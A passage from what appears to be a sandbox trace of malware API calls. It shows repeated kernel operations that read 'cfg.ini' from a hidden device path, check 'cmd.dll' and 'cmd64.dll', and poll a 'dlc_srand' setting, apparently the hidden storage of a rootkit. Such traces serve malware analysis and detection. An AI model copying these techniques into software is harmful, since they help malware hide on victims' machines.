_Dest="0d24eb7c\\cfg.ini") returned 16 [0120.792] KeEnterCriticalRegion () [0120.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.792] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.792] IdePortDispatch () returned 0x103 [0120.793] KeWaitForMutexObject () returned 0x0 [0120.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.793] KeLeaveCriticalRegion () [0120.793] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.793] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.793] KeEnterCriticalRegion () [0120.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.793] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034df000 [0120.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.793] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.793] IdePortDispatch () returned 0x103 [0120.793] KeWaitForMutexObject () returned 0x0 [0120.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.793] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.793] IdePortDispatch () returned 0x103 [0120.793] KeWaitForMutexObject () returned 0x0 [0120.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.793] KeLeaveCriticalRegion () [0120.794] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.794] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.794] KeEnterCriticalRegion () [0120.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.794] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.794] KeLeaveCriticalRegion () [0120.794] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.794] KeEnterCriticalRegion () [0120.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.794] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.794] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.794] KeLeaveCriticalRegion () [0120.794] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.794] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.794] KeEnterCriticalRegion () [0120.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.794] ExFreePoolWithTag (P=0xfffffa80039d9410, Tag=0x0) [0120.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.794] KeLeaveCriticalRegion () [0120.794] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.794] ReleaseMutex (hMutex=0xf0) returned 1 [0120.794] Sleep (dwMilliseconds=0x124f80) [0120.808] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.808] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.808] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.808] KeEnterCriticalRegion () [0120.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.809] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.809] IdePortDispatch () returned 0x103 [0120.809] KeWaitForMutexObject () returned 0x0 [0120.809] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.809] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.809] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.809] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.809] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.809] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd7a0 [0120.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.809] KeLeaveCriticalRegion () [0120.809] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.809] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.809] KeEnterCriticalRegion () [0120.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.809] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.809] KeLeaveCriticalRegion () [0120.809] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.809] KeEnterCriticalRegion () [0120.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.809] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.809] IdePortDispatch () returned 0x103 [0120.809] KeWaitForMutexObject () returned 0x0 [0120.809] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.809] KeLeaveCriticalRegion () [0120.809] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.810] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.810] KeEnterCriticalRegion () [0120.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.810] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e4000 [0120.810] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.810] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.810] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.810] IdePortDispatch () returned 0x103 [0120.810] KeWaitForMutexObject () returned 0x0 [0120.810] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.810] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.810] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.810] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.810] IdePortDispatch () returned 0x103 [0120.810] KeWaitForMutexObject () returned 0x0 [0120.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.810] KeLeaveCriticalRegion () [0120.810] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.811] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.811] KeEnterCriticalRegion () [0120.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.811] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.811] KeLeaveCriticalRegion () [0120.811] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.811] KeEnterCriticalRegion () [0120.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.811] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.811] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.811] KeLeaveCriticalRegion () [0120.811] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.811] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.811] KeEnterCriticalRegion () [0120.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.811] ExFreePoolWithTag (P=0xfffffa8003bbd7a0, Tag=0x0) [0120.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.811] KeLeaveCriticalRegion () [0120.811] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.811] ReleaseMutex (hMutex=0xf0) returned 1 [0120.811] Sleep (dwMilliseconds=0x124f80) [0120.816] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.820] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.820] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.820] KeEnterCriticalRegion () [0120.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.820] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.820] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.820] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.820] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.820] IdePortDispatch () returned 0x103 [0120.820] KeWaitForMutexObject () returned 0x0 [0120.820] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.820] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.820] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.820] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.821] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.821] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd4b0 [0120.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.821] KeLeaveCriticalRegion () [0120.821] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.821] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.821] KeEnterCriticalRegion () [0120.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.821] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.821] KeLeaveCriticalRegion () [0120.821] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.821] KeEnterCriticalRegion () [0120.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.821] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.821] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.821] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.821] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.821] IdePortDispatch () returned 0x103 [0120.821] KeWaitForMutexObject () returned 0x0 [0120.821] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.821] KeLeaveCriticalRegion () [0120.821] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.821] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.821] KeEnterCriticalRegion () [0120.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.821] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003507000 [0120.821] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.821] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.821] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.821] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.821] IdePortDispatch () returned 0x103 [0120.821] KeWaitForMutexObject () returned 0x0 [0120.822] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.822] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.822] IdePortDispatch () returned 0x103 [0120.822] KeWaitForMutexObject () returned 0x0 [0120.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.822] KeLeaveCriticalRegion () [0120.822] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.822] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.822] KeEnterCriticalRegion () [0120.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.822] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.822] KeLeaveCriticalRegion () [0120.822] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.823] KeEnterCriticalRegion () [0120.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.823] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.823] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.823] KeLeaveCriticalRegion () [0120.823] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.823] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.823] KeEnterCriticalRegion () [0120.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.823] ExFreePoolWithTag (P=0xfffffa8003bbd4b0, Tag=0x0) [0120.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.823] KeLeaveCriticalRegion () [0120.823] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.823] ReleaseMutex (hMutex=0xf0) returned 1 [0120.823] Sleep (dwMilliseconds=0x124f80) [0120.833] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.833] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.833] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.833] KeEnterCriticalRegion () [0120.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.833] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.833] IdePortDispatch () returned 0x103 [0120.833] KeWaitForMutexObject () returned 0x0 [0120.834] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.834] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.834] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.834] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.834] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.834] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb700 [0120.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.834] KeLeaveCriticalRegion () [0120.834] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.834] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.834] KeEnterCriticalRegion () [0120.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.834] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.834] KeLeaveCriticalRegion () [0120.834] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.834] KeEnterCriticalRegion () [0120.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.834] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.834] IdePortDispatch () returned 0x103 [0120.834] KeWaitForMutexObject () returned 0x0 [0120.834] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.834] KeLeaveCriticalRegion () [0120.834] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.834] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.834] KeEnterCriticalRegion () [0120.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.834] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800350b000 [0120.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.834] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.834] IdePortDispatch () returned 0x103 [0120.835] KeWaitForMutexObject () returned 0x0 [0120.835] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, 